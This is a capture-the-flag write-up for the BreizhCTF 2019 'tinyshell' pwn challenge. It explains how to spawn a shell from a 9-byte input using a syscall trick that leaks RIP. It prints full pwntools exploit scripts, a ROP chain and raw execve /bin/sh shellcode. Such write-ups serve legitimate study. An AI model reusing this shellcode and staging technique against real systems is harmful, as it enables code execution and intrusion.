Des fois la taille ça compte

BreizhCTF 2019 - Pwn (400 pts).

BreizhCTF 2019: Tinyshell

Challenge details

Event Challenge Category Points Solves
BreizhCTF 2019 Des fois la taille ça compte Pwn 400 2

Challenge: tinyshell md5sum : d12e180d08ff67c592b5e68f898a15e2

TL;DR

The goal is to spawn a shell with 9 bytes shellcode. I use a syscall trick to load again a bigger shellcode in memory.

First assessment

This is the main function of binary.

main function assembly

It allocates two memory regions with mmap64 for stack and code. The “code” region (mem) have PROT_READ, PROT_WRITE, PROT_EXEC flags. The main function copies a “xor rax,rax” instruction (unk_47E004) into “code” region and reads 9 bytes from user input. The 9 bytes are copied into “code” region just after “xor rax,rax” instruction. At the end of function all registers are set to zero except RAX which point to the beginning of “code” region and RSP which points to a new empty stack. When your 9 bytes is executed (after jmp rax) rax is also set to zero because of the “xor rax,rax” instruction at beginning of “code” region.

The main idea is to write a stage 1 shellcode which will read again the user input and store it into “code” region. But you don’t known where is the code “region” because ASLR is enabled and all registers are set to zero except RSP.

First try

I tried to get the current RIP value with the following famous trick often used in shellcode. When you make a call CPU pushes the address of the next instruction into the stack. So you can retrieve it by using a pop reg instruction. I pop the value into RSI register to prepare the read syscall which use RDI as file descriptor, RSI as destination buffer and RDX as buffer size.

call label
label:
pop rsi

RDI register is already set to zero which corresponds to STDIN. RAX register is already set to zero which is the read syscall number in 64 bits.

So I just need to set RDX with a value other than zero like this

call label
label:
pop rsi
mov dl,0xFF
syscall

But once assembled this shellcode takes 10 bytes, Arrrrggggg it’s one byte too long. I tried to change mov dl,0xFF by neg dl but it takes same size once assembled :(.

Second try

This is the output of checksec on the binary:

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

No PIE ? so I tried to store a ROPchain into the stack with the following payload. The ROPchain is triggered by the ret instruction.

mov rsi,rsp
mov dl,0xFF
syscall
ret

Once assembled stage 1 takes 8 bytes, it’s pass. You can easily generate a ropchain with ROPgadget because the binary is statically linked.

#!/usr/bin/env python2
from pwn import *
from struct import pack
import time

context.arch='amd64'

stage1 = asm("""
mov rsi,rsp
mov dl,0xFF
syscall
ret
""")

# ROPchain generated by ROPgadget with custom modification
stage2 = ''
stage2 += pack('<Q', 0x0000000000406a38) # pop rsi ; ret
stage2 += pack('<Q', 0x00000000004a60c0) # @ .data
stage2 += pack('<Q', 0x000000000043dc50) # pop rax ; ret
stage2 += '/bin//sh'
stage2 += pack('<Q', 0x000000000046d625) # mov qword ptr [rsi], rax ; ret
stage2 += pack('<Q', 0x0000000000406a38) # pop rsi ; ret
stage2 += pack('<Q', 0x00000000004a60c8) # @ .data + 8
stage2 += pack('<Q', 0x00000000004386a0) # xor rax, rax ; ret
stage2 += pack('<Q', 0x000000000046d625) # mov qword ptr [rsi], rax ; ret
stage2 += pack('<Q', 0x00000000004016ca) # pop rdi ; ret
stage2 += pack('<Q', 0x00000000004a60c0) # @ .data
stage2 += pack('<Q', 0x0000000000406a38) # pop rsi ; ret
stage2 += pack('<Q', 0x00000000004a60c8) # @ .data + 8
stage2 += pack('<Q', 0x000000000043f2d5) # pop rdx ; ret
stage2 += pack('<Q', 0x00000000004a60c8) # @ .data + 8
# use pop rax; ret instead of xor rax,rax; ret and add rax,1; ret gadget
stage2 += pack('<Q', 0x000000000043dc50) # pop rax ; ret  
stage2 += pack('<Q', 59)                 # 59 syscall execve
stage2 += pack('<Q', 0x0000000000402126) # syscall

print("[+] stage1 len : %d" % len(stage1))
print("[+] stage2 len : %d" % len(stage2))

#x = remote("ctf.bzh",32000)
x = process("./tinyshell")
x.recvuntil("Gimme the smol payload")

x.send(stage1)
raw_input("press enter to send stage2 ...")
x.send(stage2)
x.interactive()

It’s works on my computer in local but it don’t work on remote server because PIE is enabled :( (my computer and checksec have a very strange behavior x) )

The syscall trick

I started all over from the first idea. My goal is to load a shellcode into the “code” region but the following instructions to get RIP value consume a lot of bytes (5).

call label:
pop rsi

After some research, I found this shellcode https://ctftime.org/writeup/12582 which use syscall instruction to move RIP value into RCX register.

Look at the description of syscall instruction on https://www.felixcloutier.com/x86/syscall:

SYSCALL invokes an OS system-call handler at privilege level 0. It does so by loading RIP from the IA32_LSTAR MSR (after saving the address of the instruction following SYSCALL into RCX). (The WRMSR instruction ensures that the IA32_LSTAR MSR always contain a canonical address.)

The most important sentence is after saving the address of the instruction following SYSCALL into RCX. Another funny behavior is when you make a sys_read(0,0,0) it doesn’t crash although buffer pointer is invalid. So i write the following shellcode for stage 1.

syscall  ; get RIP
push rcx ; save RIP into stack
pop rsi  ; restore RIP into rsi (now recv_buf points to code region) 
mov dl,0xFF
syscall  ; sys_read(STDIN,codebuf,255)
nop

Final payload

The shellcode overwrites the stage 1 (at the adress after the first syscall), that’s why I need to pad shellcode with some nop.

#!/usr/bin/env python2
from pwn import *
import time

# execve /bin//sh
shellcode="\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

context.arch='amd64'

payload = asm("""
syscall
push rcx
pop rsi
mov dl,0xFF
syscall
nop
""")


print("[+] payload len : %d" % len(payload))

#x = remote("ctf.bzh",32000)
x = process("./tinyshell")
x.recvuntil("Gimme the smol payload")

x.send(payload)
raw_input("press enter to send shellcode")
x.send("\x90"*9+shellcode)
x.interactive()

you got a shell

Thank to @BitK_ for this awesome challenge.

TomTomBinary